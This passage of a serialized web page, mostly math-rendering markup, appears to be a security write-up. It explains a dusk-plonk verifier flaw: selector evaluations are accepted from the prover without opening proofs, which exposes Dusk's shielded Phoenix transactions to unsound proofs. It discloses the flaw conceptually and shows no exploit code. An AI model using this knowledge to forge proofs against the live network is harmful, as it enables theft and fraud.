",{"type":22,"tag":257,"props":145356,"children":145358},{"className":145357},[260,261],[145359],{"type":22,"tag":264,"props":145360,"children":145362},{"className":145361},[267],[145363],{"type":22,"tag":264,"props":145364,"children":145366},{"className":145365,"ariaHidden":273},[272],[145367],{"type":22,"tag":264,"props":145368,"children":145370},{"className":145369},[278],[145371,145375],{"type":22,"tag":264,"props":145372,"children":145374},{"className":145373,"style":112208},[283],[],{"type":22,"tag":264,"props":145376,"children":145378},{"className":145377,"style":114917},[289,2178],[145379],{"type":27,"value":114920},{"type":27,"value":145381}," (derived via the Fiat-Shamir heuristic from the transcript) and checks ",{"type":22,"tag":257,"props":145383,"children":145385},{"className":145384},[260,261],[145386],{"type":22,"tag":264,"props":145387,"children":145389},{"className":145388},[267],[145390],{"type":22,"tag":264,"props":145391,"children":145393},{"className":145392,"ariaHidden":273},[272],[145394,145435,145476],{"type":22,"tag":264,"props":145395,"children":145397},{"className":145396},[278],[145398,145402,145407,145412,145417,145422,145426,145431],{"type":22,"tag":264,"props":145399,"children":145401},{"className":145400,"style":5409},[283],[],{"type":22,"tag":264,"props":145403,"children":145405},{"className":145404,"style":22894},[289,2178],[145406],{"type":27,"value":123130},{"type":22,"tag":264,"props":145408,"children":145410},{"className":145409},[294],[145411],{"type":27,"value":2660},{"type":22,"tag":264,"props":145413,"children":145415},{"className":145414,"style":114917},[289,2178],[145416],{"type":27,"value":114920},{"type":22,"tag":264,"props":145418,"children":145420},{"className":145419},[415],[145421],{"type":27,"value":2806},{"type":22,"tag":264,"props":145423,"children":145425},{"className":145424,"style":421},[420],[],{"type":22,"tag":264,"props":145427,"children":145429},{"className":145428},[426],[145430],{"type":27,"value":429},{"type":22,"tag":264,"props":145432,"children":145434},{"className":145433,"style":421},[420],[],{"type":22,"tag":264,"props":145436,"children":145438},{"className":145437},[278],[145439,145443,145448,145453,145458,145463,145467,145472],{"type":22,"tag":264,"props":145440,"children":145442},{"className":145441,"style":5409},[283],[],{"type":22,"tag":264,"props":145444,"children":145446},{"className":145445,"style":22894},[289,2178],[145447],{"type":27,"value":7279},{"type":22,"tag":264,"props":145449,"children":145451},{"className":145450},[294],[145452],{"type":27,"value":2660},{"type":22,"tag":264,"props":145454,"children":145456},{"className":145455,"style":114917},[289,2178],[145457],{"type":27,"value":114920},{"type":22,"tag":264,"props":145459,"children":145461},{"className":145460},[415],[145462],{"type":27,"value":2806},{"type":22,"tag":264,"props":145464,"children":145466},{"className":145465,"style":665},[420],[],{"type":22,"tag":264,"props":145468,"children":145470},{"className":145469},[670],[145471],{"type":27,"value":112629},{"type":22,"tag":264,"props":145473,"children":145475},{"className":145474,"style":665},[420],[],{"type":22,"tag":264,"props":145477,"children":145479},{"className":145478},[278],[145480,145484,145489,145494,145499],{"type":22,"tag":264,"props":145481,"children":145483},{"className":145482,"style":5409},[283],[],{"type":22,"tag":264,"props":145485,"children":145487},{"className":145486,"style":23420},[289,2178],[145488],{"type":27,"value":144909},{"type":22,"tag":264,"props":145490,"children":145492},{"className":145491},[294],[145493],{"type":27,"value":2660},{"type":22,"tag":264,"props":145495,"children":145497},{"className":145496,"style":114917},[289,2178],[145498],{"type":27,"value":114920},{"type":22,"tag":264,"props":145500,"children":145502},{"className":145501},[415],[145503],{"type":27,"value":2806},{"type":27,"value":145505}," at that single point. By the Schwartz-Zippel lemma, if this holds at a random ",{"type":22,"tag":257,"props":145507,"children":145509},{"className":145508},[260,261],[145510],{"type":22,"tag":264,"props":145511,"children":145513},{"className":145512},[267],[145514],{"type":22,"tag":264,"props":145515,"children":145517},{"className":145516,"ariaHidden":273},[272],[145518],{"type":22,"tag":264,"props":145519,"children":145521},{"className":145520},[278],[145522,145526],{"type":22,"tag":264,"props":145523,"children":145525},{"className":145524,"style":112208},[283],[],{"type":22,"tag":264,"props":145527,"children":145529},{"className":145528,"style":114917},[289,2178],[145530],{"type":27,"value":114920},{"type":27,"value":145532}," then the full polynomial identity holds with overwhelming probability, so the verifier checks the entire multi-million-row circuit in constant time.",{"type":22,"tag":23,"props":145534,"children":145535},{},[145536,145538,145563,145565,145570],{"type":27,"value":145537},"In textbook PLONK the selector polynomials are part of the fixed circuit description, but in practice implementations commit to them during preprocessing and place those commitments in the verifier key. When the verifier later needs their values at ",{"type":22,"tag":257,"props":145539,"children":145541},{"className":145540},[260,261],[145542],{"type":22,"tag":264,"props":145543,"children":145545},{"className":145544},[267],[145546],{"type":22,"tag":264,"props":145547,"children":145549},{"className":145548,"ariaHidden":273},[272],[145550],{"type":22,"tag":264,"props":145551,"children":145553},{"className":145552},[278],[145554,145558],{"type":22,"tag":264,"props":145555,"children":145557},{"className":145556,"style":112208},[283],[],{"type":22,"tag":264,"props":145559,"children":145561},{"className":145560,"style":114917},[289,2178],[145562],{"type":27,"value":114920},{"type":27,"value":145564},", the prover supplies ",{"type":22,"tag":1699,"props":145566,"children":145567},{},[145568],{"type":27,"value":145569},"evaluation claims",{"type":27,"value":145571}," that must be checked against those commitments with opening proofs.",{"type":22,"tag":23,"props":145573,"children":145574},{},[145575,145577,145581],{"type":27,"value":145576},"The security argument depends on a chain: commitments lock the prover into polynomials ",{"type":22,"tag":1699,"props":145578,"children":145579},{},[145580],{"type":27,"value":105912},{"type":27,"value":145582}," challenges are derived, and opening proofs ensure the evaluations are consistent with those commitments. Breaking any single link in this chain collapses soundness entirely.",{"type":22,"tag":181,"props":145584,"children":145586},{"id":145585},"what-the-verifier-is-actually-allowed-to-trust",[145587],{"type":27,"value":145588},"What the verifier is actually allowed to trust",{"type":22,"tag":23,"props":145590,"children":145591},{},[145592,145594,145599],{"type":27,"value":145593},"For this bug, one invariant matters more than the rest: ",{"type":22,"tag":242,"props":145595,"children":145596},{},[145597],{"type":27,"value":145598},"every scalar that enters the final verifier equation must be either locally computed by the verifier, or cryptographically tied to an earlier commitment",{"type":27,"value":210},{"type":22,"tag":23,"props":145601,"children":145602},{},[145603,145605,145697,145698,145790,145792,145817,145819,145859,145860,145900,145901,145994,145995,146041,146043,146130,146131,146218,146219,146306],{"type":27,"value":145604},"In practice, values entering the verifier equation fall into three buckets. The verifier computes some values locally from public data (",{"type":22,"tag":257,"props":145606,"children":145608},{"className":145607},[260,261],[145609],{"type":22,"tag":264,"props":145610,"children":145612},{"className":145611},[267],[145613],{"type":22,"tag":264,"props":145614,"children":145616},{"className":145615,"ariaHidden":273},[272],[145617],{"type":22,"tag":264,"props":145618,"children":145620},{"className":145619},[278],[145621,145625,145682,145687,145692],{"type":22,"tag":264,"props":145622,"children":145624},{"className":145623,"style":5409},[283],[],{"type":22,"tag":264,"props":145626,"children":145628},{"className":145627},[289],[145629,145634],{"type":22,"tag":264,"props":145630,"children":145632},{"className":145631,"style":23420},[289,2178],[145633],{"type":27,"value":144909},{"type":22,"tag":264,"props":145635,"children":145637},{"className":145636},[2147],[145638],{"type":22,"tag":264,"props":145639,"children":145641},{"className":145640},[305,306],[145642,145671],{"type":22,"tag":264,"props":145643,"children":145645},{"className":145644},[311],[145646,145666],{"type":22,"tag":264,"props":145647,"children":145649},{"className":145648,"style":143900},[316],[145650],{"type":22,"tag":264,"props":145651,"children":145652},{"style":117601},[145653,145657],{"type":22,"tag":264,"props":145654,"children":145656},{"className":145655,"style":2169},[326],[],{"type":22,"tag":264,"props":145658,"children":145660},{"className":145659},[332,333,334,335],[145661],{"type":22,"tag":264,"props":145662,"children":145664},{"className":145663,"style":94603},[289,2178,335],[145665],{"type":27,"value":94606},{"type":22,"tag":264,"props":145667,"children":145669},{"className":145668},[396],[145670],{"type":27,"value":399},{"type":22,"tag":264,"props":145672,"children":145674},{"className":145673},[311],[145675],{"type":22,"tag":264,"props":145676,"children":145678},{"className":145677,"style":2721},[316],[145679],{"type":22,"tag":264,"props":145680,"children":145681},{},[],{"type":22,"tag":264,"props":145683,"children":145685},{"className":145684},[294],[145686],{"type":27,"value":2660},{"type":22,"tag":264,"props":145688,"children":145690},{"className":145689,"style":114917},[289,2178],[145691],{"type":27,"value":114920},{"type":22,"tag":264,"props":145693,"children":145695},{"className":145694},[415],[145696],{"type":27,"value":2806},{"type":27,"value":4380},{"type":22,"tag":257,"props":145699,"children":145701},{"className":145700},[260,261],[145702],{"type":22,"tag":264,"props":145703,"children":145705},{"className":145704},[267],[145706],{"type":22,"tag":264,"props":145707,"children":145709},{"className":145708,"ariaHidden":273},[272],[145710],{"type":22,"tag":264,"props":145711,"children":145713},{"className":145712},[278],[145714,145718,145775,145780,145785],{"type":22,"tag":264,"props":145715,"children":145717},{"className":145716,"style":5409},[283],[],{"type":22,"tag":264,"props":145719,"children":145721},{"className":145720},[289],[145722,145727],{"type":22,"tag":264,"props":145723,"children":145725},{"className":145724},[289,2178],[145726],{"type":27,"value":119316},{"type":22,"tag":264,"props":145728,"children":145730},{"className":145729},[2147],[145731],{"type":22,"tag":264,"props":145732,"children":145734},{"className":145733},[305,306],[145735,145764],{"type":22,"tag":264,"props":145736,"children":145738},{"className":145737},[311],[145739,145759],{"type":22,"tag":264,"props":145740,"children":145742},{"className":145741,"style":94422},[316],[145743],{"type":22,"tag":264,"props":145744,"children":145745},{"style":94426},[145746,145750],{"type":22,"tag":264,"props":145747,"children":145749},{"className":145748,"style":2169},[326],[],{"type":22,"tag":264,"props":145751,"children":145753},{"className":145752},[332,333,334,335],[145754],{"type":22,"tag":264,"props":145755,"children":145757},{"className":145756},[289,335],[145758],{"type":27,"value":602},{"type":22,"tag":264,"props":145760,"children":145762},{"className":145761},[396],[145763],{"type":27,"value":399},{"type":22,"tag":264,"props":145765,"children":145767},{"className":145766},[311],[145768],{"type":22,"tag":264,"props":145769,"children":145771},{"className":145770,"style":2721},[316],[145772],{"type":22,"tag":264,"props":145773,"children":145774},{},[],{"type":22,"tag":264,"props":145776,"children":145778},{"className":145777},[294],[145779],{"type":27,"value":2660},{"type":22,"tag":264,"props":145781,"children":145783},{"className":145782,"style":114917},[289,2178],[145784],{"type":27,"value":114920},{"type":22,"tag":264,"props":145786,"children":145788},{"className":145787},[415],[145789],{"type":27,"value":2806},{"type":27,"value":145791},", the public-input polynomial at ",{"type":22,"tag":257,"props":145793,"children":145795},{"className":145794},[260,261],[145796],{"type":22,"tag":264,"props":145797,"children":145799},{"className":145798},[267],[145800],{"type":22,"tag":264,"props":145801,"children":145803},{"className":145802,"ariaHidden":273},[272],[145804],{"type":22,"tag":264,"props":145805,"children":145807},{"className":145806},[278],[145808,145812],{"type":22,"tag":264,"props":145809,"children":145811},{"className":145810,"style":112208},[283],[],{"type":22,"tag":264,"props":145813,"children":145815},{"className":145814,"style":114917},[289,2178],[145816],{"type":27,"value":114920},{"type":27,"value":145818},"), which are safe because the prover never chooses them. Other values are prover-supplied evaluations accompanied by KZG opening proofs (",{"type":22,"tag":257,"props":145820,"children":145822},{"className":145821},[260,261],[145823],{"type":22,"tag":264,"props":145824,"children":145826},{"className":145825},[267],[145827],{"type":22,"tag":264,"props":145828,"children":145830},{"className":145829,"ariaHidden":273},[272],[145831],{"type":22,"tag":264,"props":145832,"children":145834},{"className":145833},[278],[145835,145839,145844,145849,145854],{"type":22,"tag":264,"props":145836,"children":145838},{"className":145837,"style":5409},[283],[],{"type":22,"tag":264,"props":145840,"children":145842},{"className":145841},[289,2178],[145843],{"type":27,"value":69},{"type":22,"tag":264,"props":145845,"children":145847},{"className":145846},[294],[145848],{"type":27,"value":2660},{"type":22,"tag":264,"props":145850,"children":145852},{"className":145851,"style":114917},[289,2178],[145853],{"type":27,"value":114920},{"type":22,"tag":264,"props":145855,"children":145857},{"className":145856},[415],[145858],{"type":27,"value":2806},{"type":27,"value":4380},{"type":22,"tag":257,"props":145861,"children":145863},{"className":145862},[260,261],[145864],{"type":22,"tag":264,"props":145865,"children":145867},{"className":145866},[267],[145868],{"type":22,"tag":264,"props":145869,"children":145871},{"className":145870,"ariaHidden":273},[272],[145872],{"type":22,"tag":264,"props":145873,"children":145875},{"className":145874},[278],[145876,145880,145885,145890,145895],{"type":22,"tag":264,"props":145877,"children":145879},{"className":145878,"style":5409},[283],[],{"type":22,"tag":264,"props":145881,"children":145883},{"className":145882},[289,2178],[145884],{"type":27,"value":2181},{"type":22,"tag":264,"props":145886,"children":145888},{"className":145887},[294],[145889],{"type":27,"value":2660},{"type":22,"tag":264,"props":145891,"children":145893},{"className":145892,"style":114917},[289,2178],[145894],{"type":27,"value":114920},{"type":22,"tag":264,"props":145896,"children":145898},{"className":145897},[415],[145899],{"type":27,"value":2806},{"type":27,"value":4380},{"type":22,"tag":257,"props":145902,"children":145904},{"className":145903},[260,261],[145905],{"type":22,"tag":264,"props":145906,"children":145908},{"className":145907},[267],[145909],{"type":22,"tag":264,"props":145910,"children":145912},{"className":145911,"ariaHidden":273},[272],[145913],{"type":22,"tag":264,"props":145914,"children":145916},{"className":145915},[278],[145917,145921,145979,145984,145989],{"type":22,"tag":264,"props":145918,"children":145920},{"className":145919,"style":5409},[283],[],{"type":22,"tag":264,"props":145922,"children":145924},{"className":145923},[289],[145925,145931],{"type":22,"tag":264,"props":145926,"children":145928},{"className":145927,"style":94855},[289,2178],[145929],{"type":27,"value":145930},"σ",{"type":22,"tag":264,"props":145932,"children":145934},{"className":145933},[2147],[145935],{"type":22,"tag":264,"props":145936,"children":145938},{"className":145937},[305,306],[145939,145968],{"type":22,"tag":264,"props":145940,"children":145942},{"className":145941},[311],[145943,145963],{"type":22,"tag":264,"props":145944,"children":145946},{"className":145945,"style":94422},[316],[145947],{"type":22,"tag":264,"props":145948,"children":145949},{"style":94902},[145950,145954],{"type":22,"tag":264,"props":145951,"children":145953},{"className":145952,"style":2169},[326],[],{"type":22,"tag":264,"props":145955,"children":145957},{"className":145956},[332,333,334,335],[145958],{"type":22,"tag":264,"props":145959,"children":145961},{"className":145960},[289,335],[145962],{"type":27,"value":602},{"type":22,"tag":264,"props":145964,"children":145966},{"className":145965},[396],[145967],{"type":27,"value":399},{"type":22,"tag":264,"props":145969,"children":145971},{"className":145970},[311],[145972],{"type":22,"tag":264,"props":145973,"children":145975},{"className":145974,"style":2721},[316],[145976],{"type":22,"tag":264,"props":145977,"children":145978},{},[],{"type":22,"tag":264,"props":145980,"children":145982},{"className":145981},[294],[145983],{"type":27,"value":2660},{"type":22,"tag":264,"props":145985,"children":145987},{"className":145986,"style":114917},[289,2178],[145988],{"type":27,"value":114920},{"type":22,"tag":264,"props":145990,"children":145992},{"className":145991},[415],[145993],{"type":27,"value":2806},{"type":27,"value":4380},{"type":22,"tag":257,"props":145996,"children":145998},{"className":145997},[260,261],[145999],{"type":22,"tag":264,"props":146000,"children":146002},{"className":146001},[267],[146003],{"type":22,"tag":264,"props":146004,"children":146006},{"className":146005,"ariaHidden":273},[272],[146007],{"type":22,"tag":264,"props":146008,"children":146010},{"className":146009},[278],[146011,146015,146020,146025,146030,146036],{"type":22,"tag":264,"props":146012,"children":146014},{"className":146013,"style":5409},[283],[],{"type":22,"tag":264,"props":146016,"children":146018},{"className":146017},[289,2178],[146019],{"type":27,"value":69},{"type":22,"tag":264,"props":146021,"children":146023},{"className":146022},[294],[146024],{"type":27,"value":2660},{"type":22,"tag":264,"props":146026,"children":146028},{"className":146027,"style":114917},[289,2178],[146029],{"type":27,"value":114920},{"type":22,"tag":264,"props":146031,"children":146033},{"className":146032,"style":94855},[289,2178],[146034],{"type":27,"value":146035},"ω",{"type":22,"tag":264,"props":146037,"children":146039},{"className":146038},[415],[146040],{"type":27,"value":2806},{"type":27,"value":146042},"), which are safe because the opening binds them to previously committed polynomials. A third category consists of verifier-key commitments used directly in the linearization multiscalar multiplication (",{"type":22,"tag":257,"props":146044,"children":146046},{"className":146045},[260,261],[146047],{"type":22,"tag":264,"props":146048,"children":146050},{"className":146049},[267],[146051],{"type":22,"tag":264,"props":146052,"children":146054},{"className":146053,"ariaHidden":273},[272],[146055],{"type":22,"tag":264,"props":146056,"children":146058},{"className":146057},[278],[146059,146063,146068,146125],{"type":22,"tag":264,"props":146060,"children":146062},{"className":146061,"style":5409},[283],[],{"type":22,"tag":264,"props":146064,"children":146066},{"className":146065},[294],[146067],{"type":27,"value":5045},{"type":22,"tag":264,"props":146069,"children":146071},{"className":146070},[289],[146072,146077],{"type":22,"tag":264,"props":146073,"children":146075},{"className":146074,"style":94855},[289,2178],[146076],{"type":27,"value":94858},{"type":22,"tag":264,"props":146078,"children":146080},{"className":146079},[2147],[146081],{"type":22,"tag":264,"props":146082,"children":146084},{"className":146083},[305,306],[146085,146114],{"type":22,"tag":264,"props":146086,"children":146088},{"className":146087},[311],[146089,146109],{"type":22,"tag":264,"props":146090,"children":146092},{"className":146091,"style":143900},[316],[146093],{"type":22,"tag":264,"props":146094,"children":146095},{"style":94902},[146096,146100],{"type":22,"tag":264,"props":146097,"children":146099},{"className":146098,"style":2169},[326],[],{"type":22,"tag":264,"props":146101,"children":146103},{"className":146102},[332,333,334,335],[146104],{"type":22,"tag":264,"props":146105,"children":146107},{"className":146106,"style":96376},[289,2178,335],[146108],{"type":27,"value":96379},{"type":22,"tag":264,"props":146110,"children":146112},{"className":146111},[396],[146113],{"type":27,"value":399},{"type":22,"tag":264,"props":146115,"children":146117},{"className":146116},[311],[146118],{"type":22,"tag":264,"props":146119,"children":146121},{"className":146120,"style":2721},[316],[146122],{"type":22,"tag":264,"props":146123,"children":146124},{},[],{"type":22,"tag":264,"props":146126,"children":146128},{"className":146127},[415],[146129],{"type":27,"value":16710},{"type":27,"value":4380},{"type":22,"tag":257,"props":146132,"children":146134},{"className":146133},[260,261],[146135],{"type":22,"tag":264,"props":146136,"children":146138},{"className":146137},[267],[146139],{"type":22,"tag":264,"props":146140,"children":146142},{"className":146141,"ariaHidden":273},[272],[146143],{"type":22,"tag":264,"props":146144,"children":146146},{"className":146145},[278],[146147,146151,146156,146213],{"type":22,"tag":264,"props":146148,"children":146150},{"className":146149,"style":5409},[283],[],{"type":22,"tag":264,"props":146152,"children":146154},{"className":146153},[294],[146155],{"type":27,"value":5045},{"type":22,"tag":264,"props":146157,"children":146159},{"className":146158},[289],[146160,146165],{"type":22,"tag":264,"props":146161,"children":146163},{"className":146162,"style":94855},[289,2178],[146164],{"type":27,"value":94858},{"type":22,"tag":264,"props":146166,"children":146168},{"className":146167},[2147],[146169],{"type":22,"tag":264,"props":146170,"children":146172},{"className":146171},[305,306],[146173,146202],{"type":22,"tag":264,"props":146174,"children":146176},{"className":146175},[311],[146177,146197],{"type":22,"tag":264,"props":146178,"children":146180},{"className":146179,"style":143900},[316],[146181],{"type":22,"tag":264,"props":146182,"children":146183},{"style":94902},[146184,146188],{"type":22,"tag":264,"props":146185,"children":146187},{"className":146186,"style":2169},[326],[],{"type":22,"tag":264,"props":146189,"children":146191},{"className":146190},[332,333,334,335],[146192],{"type":22,"tag":264,"props":146193,"children":146195},{"className":146194,"style":94370},[289,2178,335],[146196],{"type":27,"value":116672},{"type":22,"tag":264,"props":146198,"children":146200},{"className":146199},[396],[146201],{"type":27,"value":399},{"type":22,"tag":264,"props":146203,"children":146205},{"className":146204},[311],[146206],{"type":22,"tag":264,"props":146207,"children":146209},{"className":146208,"style":2721},[316],[146210],{"type":22,"tag":264,"props":146211,"children":146212},{},[],{"type":22,"tag":264,"props":146214,"children":146216},{"className":146215},[415],[146217],{"type":27,"value":16710},{"type":27,"value":4380},{"type":22,"tag":257,"props":146220,"children":146222},{"className":146221},[260,261],[146223],{"type":22,"tag":264,"props":146224,"children":146226},{"className":146225},[267],[146227],{"type":22,"tag":264,"props":146228,"children":146230},{"className":146229,"ariaHidden":273},[272],[146231],{"type":22,"tag":264,"props":146232,"children":146234},{"className":146233},[278],[146235,146239,146244,146301],{"type":22,"tag":264,"props":146236,"children":146238},{"className":146237,"style":5409},[283],[],{"type":22,"tag":264,"props":146240,"children":146242},{"className":146241},[294],[146243],{"type":27,"value":5045},{"type":22,"tag":264,"props":146245,"children":146247},{"className":146246},[289],[146248,146253],{"type":22,"tag":264,"props":146249,"children":146251},{"className":146250,"style":94855},[289,2178],[146252],{"type":27,"value":145930},{"type":22,"tag":264,"props":146254,"children":146256},{"className":146255},[2147],[146257],{"type":22,"tag":264,"props":146258,"children":146260},{"className":146259},[305,306],[146261,146290],{"type":22,"tag":264,"props":146262,"children":146264},{"className":146263},[311],[146265,146285],{"type":22,"tag":264,"props":146266,"children":146268},{"className":146267,"style":94422},[316],[146269],{"type":22,"tag":264,"props":146270,"children":146271},{"style":94902},[146272,146276],{"type":22,"tag":264,"props":146273,"children":146275},{"className":146274,"style":2169},[326],[],{"type":22,"tag":264,"props":146277,"children":146279},{"className":146278},[332,333,334,335],[146280],{"type":22,"tag":264,"props":146281,"children":146283},{"className":146282},[289,335],[146284],{"type":27,"value":18831},{"type":22,"tag":264,"props":146286,"children":146288},{"className":146287},[396],[146289],{"type":27,"value":399},{"type":22,"tag":264,"props":146291,"children":146293},{"className":146292},[311],[146294],{"type":22,"tag":264,"props":146295,"children":146297},{"className":146296,"style":2721},[316],[146298],{"type":22,"tag":264,"props":146299,"children":146300},{},[],{"type":22,"tag":264,"props":146302,"children":146304},{"className":146303},[415],[146305],{"type":27,"value":16710},{"type":27,"value":146307},"), which are safe because the verifier never trusts a bare field element for these; it uses the commitment itself.",{"type":22,"tag":23,"props":146309,"children":146310},{},[146311],{"type":27,"value":146312},"Any term that falls outside those three categories is attacker-controlled by construction.",{"type":22,"tag":20097,"props":146314,"children":146315},{},[],{"type":22,"tag":169,"props":146317,"children":146319},{"id":146318},"where-dusk-plonk-differs-from-textbook-plonk",[146320],{"type":27,"value":146321},"Where dusk-plonk differs from textbook PLONK",{"type":22,"tag":23,"props":146323,"children":146324},{},[146325,146334,146336,146341,146343,146373],{"type":22,"tag":69,"props":146326,"children":146328},{"href":143200,"rel":146327},[73],[146329],{"type":22,"tag":257,"props":146330,"children":146332},{"className":146331},[],[146333],{"type":27,"value":143204},{"type":27,"value":146335}," is not a literal transcription of the 2019 PLONK paper. It extends the arithmetic gate with a fourth wire ",{"type":22,"tag":257,"props":146337,"children":146339},{"className":146338},[],[146340],{"type":27,"value":71888},{"type":27,"value":146342},", adds custom widgets for range, logic, and elliptic-curve operations, uses shifted evaluations at ",{"type":22,"tag":257,"props":146344,"children":146346},{"className":146345},[260,261],[146347],{"type":22,"tag":264,"props":146348,"children":146350},{"className":146349},[267],[146351],{"type":22,"tag":264,"props":146352,"children":146354},{"className":146353,"ariaHidden":273},[272],[146355],{"type":22,"tag":264,"props":146356,"children":146358},{"className":146357},[278],[146359,146363,146368],{"type":22,"tag":264,"props":146360,"children":146362},{"className":146361,"style":112208},[283],[],{"type":22,"tag":264,"props":146364,"children":146366},{"className":146365,"style":114917},[289,2178],[146367],{"type":27,"value":114920},{"type":22,"tag":264,"props":146369,"children":146371},{"className":146370,"style":94855},[289,2178],[146372],{"type":27,"value":146035},{"type":27,"value":146374},", and heavily batches KZG openings. None of that is exotic by modern PLONK standards, but it does make the verifier harder to reason about than the minimal paper presentation.",{"type":22,"tag":23,"props":146376,"children":146377},{},[146378,146380,146385,146386,146391,146393,146399,146401,146408],{"type":27,"value":146379},"The important part for this bug is the boundary between ",{"type":22,"tag":242,"props":146381,"children":146382},{},[146383],{"type":27,"value":146384},"public circuit data",{"type":27,"value":12290},{"type":22,"tag":242,"props":146387,"children":146388},{},[146389],{"type":27,"value":146390},"prover claims about that data at the random challenge point",{"type":27,"value":146392},". Parallel implementations avoid this ambiguity by keeping selector polynomials strictly out of the prover's hands. For example, Consensys' gnark (one of the most widely deployed PLONK implementations) never asks the prover for selector evaluations at all. Instead, the verifier incorporates the selector commitments ",{"type":22,"tag":257,"props":146394,"children":146396},{"className":146395},[],[146397],{"type":27,"value":146398},"Ql, Qr, Qm, Qo, Qk",{"type":27,"value":146400}," directly into the ",{"type":22,"tag":69,"props":146402,"children":146405},{"href":146403,"rel":146404},"https://github.com/Consensys/gnark/blob/17b079f1b813d9dafd465202466b09f282b4c5e9/backend/plonk/bls12-381/verify.go#L253-L270",[73],[146406],{"type":27,"value":146407},"linearization multi-scalar multiplication",{"type":27,"value":146409},", ensuring their values are cryptographically bound by construction.",{"type":22,"tag":23,"props":146411,"children":146412},{},[146413,146415,146440],{"type":27,"value":146414},"Dusk's custom widgets were more complex (multiplying selectors with other evaluated terms), so they could not just use a simple linear combination of commitments. Their architecture required evaluating the selectors at ",{"type":22,"tag":257,"props":146416,"children":146418},{"className":146417},[260,261],[146419],{"type":22,"tag":264,"props":146420,"children":146422},{"className":146421},[267],[146423],{"type":22,"tag":264,"props":146424,"children":146426},{"className":146425,"ariaHidden":273},[272],[146427],{"type":22,"tag":264,"props":146428,"children":146430},{"className":146429},[278],[146431,146435],{"type":22,"tag":264,"props":146432,"children":146434},{"className":146433,"style":112208},[283],[],{"type":22,"tag":264,"props":146436,"children":146438},{"className":146437,"style":114917},[289,2178],[146439],{"type":27,"value":114920},{"type":27,"value":146441}," and using those scalars. But while they serialized those four selector evaluations into the proof struct, they never actually verified them against the verifier key's commitments through an opening proof.",{"type":22,"tag":23,"props":146443,"children":146444},{},[146445],{"type":27,"value":146446},"The shortest way to see the bug is the graph below: safe values flow through the opening path toward the final pairing check, while the red selector flow enters verifier logic without ever touching an opening proof.",{"type":22,"tag":146448,"props":146449,"children":146450},"dusk-verifier-dependence-graph",{},[],{"type":22,"tag":20097,"props":146452,"children":146453},{},[],{"type":22,"tag":169,"props":146455,"children":146457},{"id":146456},"how-dusk-uses-plonk",[146458],{"type":27,"value":146459},"How Dusk uses PLONK",{"type":22,"tag":23,"props":146461,"children":146462},{},[146463,146469],{"type":22,"tag":69,"props":146464,"children":146466},{"href":143209,"rel":146465},[73],[146467],{"type":27,"value":146468},"Dusk Network",{"type":27,"value":146470}," is a privacy-focused L1 blockchain. Its transaction model has two modes:",{"type":22,"tag":17988,"props":146472,"children":146473},{},[146474,146479],{"type":22,"tag":1871,"props":146475,"children":146476},{},[146477],{"type":27,"value":146478},"Phoenix (shielded): amounts and participants are hidden using ZK proofs, and every Phoenix transaction carries a PLONK proof that the transaction is valid.",{"type":22,"tag":1871,"props":146480,"children":146481},{},[146482],{"type":27,"value":146483},"Moonlight (transparent): standard account-based transactions verified by BLS signatures, with no PLONK involvement.",{"type":22,"tag":23,"props":146485,"children":146486},{},[146487,146489,146500,146502,146513],{"type":27,"value":146488},"At node level, every ",{"type":22,"tag":69,"props":146490,"children":146493},{"href":146491,"rel":146492},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L152-L185",[73],[146494],{"type":22,"tag":257,"props":146495,"children":146497},{"className":146496},[],[146498],{"type":27,"value":146499},"ProtocolTransaction::Phoenix",{"type":27,"value":146501}," goes through ",{"type":22,"tag":69,"props":146503,"children":146506},{"href":146504,"rel":146505},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/verifier.rs#L71-L82",[73],[146507],{"type":22,"tag":257,"props":146508,"children":146510},{"className":146509},[],[146511],{"type":27,"value":146512},"verify_proof_with_version()",{"type":27,"value":146514}," during preverification. If that PLONK proof verifies, the transaction is admitted to the mempool and can later be mined into a block. Moonlight-path transactions instead go through BLS signature verification.",{"type":22,"tag":23,"props":146516,"children":146517},{},[146518,146520,146531,146533,146544,146545,146556,146557,146568,146569,146580],{"type":27,"value":146519},"That same Phoenix proof path covers more than simple shielded transfers. Phoenix-path staking, reward withdrawals, unstaking, and Phoenix-to-Moonlight conversion all build a Phoenix transaction via ",{"type":22,"tag":69,"props":146521,"children":146524},{"href":146522,"rel":146523},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L54-L95",[73],[146525],{"type":22,"tag":257,"props":146526,"children":146528},{"className":146527},[],[146529],{"type":27,"value":146530},"phoenix()",{"type":27,"value":146532},", for example in ",{"type":22,"tag":69,"props":146534,"children":146537},{"href":146535,"rel":146536},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L144-L186",[73],[146538],{"type":22,"tag":257,"props":146539,"children":146541},{"className":146540},[],[146542],{"type":27,"value":146543},"phoenix_stake()",{"type":27,"value":4380},{"type":22,"tag":69,"props":146546,"children":146549},{"href":146547,"rel":146548},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L240-L298",[73],[146550],{"type":22,"tag":257,"props":146551,"children":146553},{"className":146552},[],[146554],{"type":27,"value":146555},"phoenix_stake_reward()",{"type":27,"value":4380},{"type":22,"tag":69,"props":146558,"children":146561},{"href":146559,"rel":146560},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L358-L416",[73],[146562],{"type":22,"tag":257,"props":146563,"children":146565},{"className":146564},[],[146566],{"type":27,"value":146567},"phoenix_unstake()",{"type":27,"value":7780},{"type":22,"tag":69,"props":146570,"children":146573},{"href":146571,"rel":146572},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L481-L539",[73],[146574],{"type":22,"tag":257,"props":146575,"children":146577},{"className":146576},[],[146578],{"type":27,"value":146579},"phoenix_to_moonlight()",{"type":27,"value":146581},". So if Phoenix proof verification is unsound, the entire shielded transaction path is exposed.",{"type":22,"tag":23,"props":146583,"children":146584},{},[146585],{"type":22,"tag":215,"props":146586,"children":146589},{"alt":146587,"src":146588},"phoenix_moonlight","/posts/dusk-commitment-issues/phoenix_moonlight.svg",[],{"type":22,"tag":23,"props":146591,"children":146592},{},[146593,146595,146601,146603,146610],{"type":27,"value":146594},"The PLONK implementation, 